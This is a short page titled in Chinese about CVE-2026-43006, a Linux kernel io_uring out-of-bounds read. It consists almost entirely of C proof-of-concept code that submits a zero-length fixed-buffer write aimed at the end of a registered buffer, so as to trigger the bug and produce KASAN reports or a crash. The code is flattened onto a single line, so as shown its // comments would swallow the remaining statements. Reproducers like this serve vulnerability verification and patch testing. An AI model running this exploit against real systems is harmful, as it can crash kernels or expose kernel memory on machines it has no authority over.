CVE-2026-43006: Linux内核io_uring越界读取漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <liburing.h> // PoC for CVE-2026-43006: io_uring zero-length fixed buffer import OOB read #define BUFFER_SIZE 4096 int main() { struct io_uring ring; struct io_uring_params p = {}; struct iovec iovs[1]; int ret; // Initialize io_uring ret = io_uring_queue_init_params(8, &ring, &p); if (ret < 0) { perror("io_uring_queue_init_params"); return 1; } // Allocate and register buffers char *buf = aligned_alloc(BUFFER_SIZE, BUFFER_SIZE); if (!buf) { perror("aligned_alloc"); return 1; } iovs[0].iov_base = buf; iovs[0].iov_len = BUFFER_SIZE; ret = io_uring_register_buffers(&ring, iovs, 1); if (ret < 0) { perror("io_uring_register_buffers"); return 1; } // Submit a write_fixed request with len=0 // Address is set to the end of the registered region to trigger the bug struct io_uring_sqe *sqe = io_uring_get_sqe(&ring); io_uring_prep_write_fixed(sqe, 1, buf + BUFFER_SIZE, 0, 0, 0); // Submit the request ret = io_uring_submit(&ring); if (ret < 0) { perror("io_uring_submit"); } // Wait for completion (may crash here) struct io_uring_cqe *cqe; ret = io_uring_wait_cqe(&ring, &cqe); if (ret < 0) { perror("io_uring_wait_cqe"); } printf("PoC executed. Check dmesg for KASAN reports.\n"); io_uring_queue_exit(&ring); free(buf); return 0; }